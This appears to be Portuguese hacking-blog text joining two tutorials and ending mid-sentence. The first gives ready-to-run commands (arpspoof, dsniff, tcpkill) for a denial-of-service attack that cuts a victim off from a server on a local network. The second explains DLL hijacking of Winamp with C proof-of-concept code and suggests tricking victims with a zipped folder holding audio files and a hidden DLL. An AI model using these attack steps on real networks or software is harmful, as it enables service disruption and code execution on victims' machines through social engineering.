Ola a todosHoje eu gostaria de mostrar como realizar um ataque de negacao de servico (Dos) dentro da rede localO primero passo e habilitar o repasse entre as interfaces de rede para isso faca o seguinte:# echo 1 > /proc/sys/net/ipv4/ip_forwardAbrir 4 terminais como rootNo primeiro, executar o arpspoof e no segundo tambem, de uma vitima para outra e virce-versa.# arpspoof -i eth0 -t vm1 vm2# arpspoof -i eth0 -t vm2 vm1Troque VM1 pelo IP do Servidor que esta executando um determinado servico, SSH, FTP, RDP etc..Troque VM2 pelo IP da Vitima que nao vai conseguir acessar o servidor.Em outro terminal digite esse comando# dsniff -i eth0Por ultimo digite esse em outro terminal# tcpkill -i eth0 dst vm1 and dst port 22Troque VM1 pelo IP do Servidor e coloque a porta deseja que seja derrubada, 22, 3389, 21 etcEspero que tenham gostado da dica.Usem com sabedoriaCompartilhe e assine nosso blog.Ate a proxima.Creditos : Hernane Carvalho IntroducaoHi.Venho-lhes trazer uma materia que escrevi ha quase um ano, logo quando saiu o bug de DLL Hijacking. Hoje em dia a falha e pouco comentada e os programadores ja tomam mais cuidado com ela, mas deixarei a materia aqui a nivel de conhecimento.Esta e a tal falada falha que afetou diversos aplicativos famosos, incluindo uma grande parte dos softwares do pacote Office e browsers como Opera e Firefox em 2010. Hack It!A falha conhecida como DLL Hijacking existe gracas a um mau funcionamento do Windows, e ate que eu saiba, afeta todas as versoes. Deve ser utilizada juntamente com SEing, pois precisamos saber qual o software que a possivel vitima utiliza. Em breve, veremos o porque.Ao explorar um aplicativo, como por exemplo, um player de musica, conseguimos executar um codigo desejado apenas inserindo um arquivo .dll no mesmo diretorio do arquivo *.mp3. Ou seja, se mandarmos uma pasta zipada com alguns arquivos de audio e uma DLL "escondida" no meio, ao abrir qualquer arquivo de audio, o player executara a DLL apenas por estar no mesmo diretorio.O nome da *.dll que deve ficar no mesmo diretorio do arquivo a ser aberto varia de acordo com o software a ser explorado. Ha algumas tools para explorar como o DLL Hijack Audit Kit do projeto Metasploit, o DLL Hijack Auditor do SecurityXploded ou uma ferramenta qualquer de debugging. Em breve, mostrarei o funcionamento de ambas as tools.Agora, vou mostrar um exemplo do funcionamento da falha.Ontem, fui brincar com o conhecido player Nullsoft "Winamp", na sua versao 5.5.8.2975.O nome das DLLs que encontrei foram "rapi.dll" e "dwmapi.dll".Agora, criarei um codigo simples para fazer o PoC:/** Simple DLL Hijacking Exploit* Tutorial por Junior Moraes (fvox)* www.forum-invaders.com.br* Email: synyster@bsdmail.com*/#include <windows.h>#include <stdio.h>int fvox(){MessageBox(0, "u r owned", "DLL Hijacking", MB_OK);FILE *fp;fp = fopen("fvox.txt", "w");fwrite("it works ;-)", 1, 12, fp);fclose(fp);exit(1);return 0;}BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved){fvox();return TRUE;}Ainda fazendo os testes no Winamp, vamos compilar a DLL e coloca-la no mesmo diretorio de um arquivo *.mp3 com o nome de "dwmapi.dll".Agora, vamos abrir o arquivo .mp3 com o Winamp. O que sera que acontece?Yeah! Apesar do arquivo *.mp3 ser realmente uma musica normal, a DLL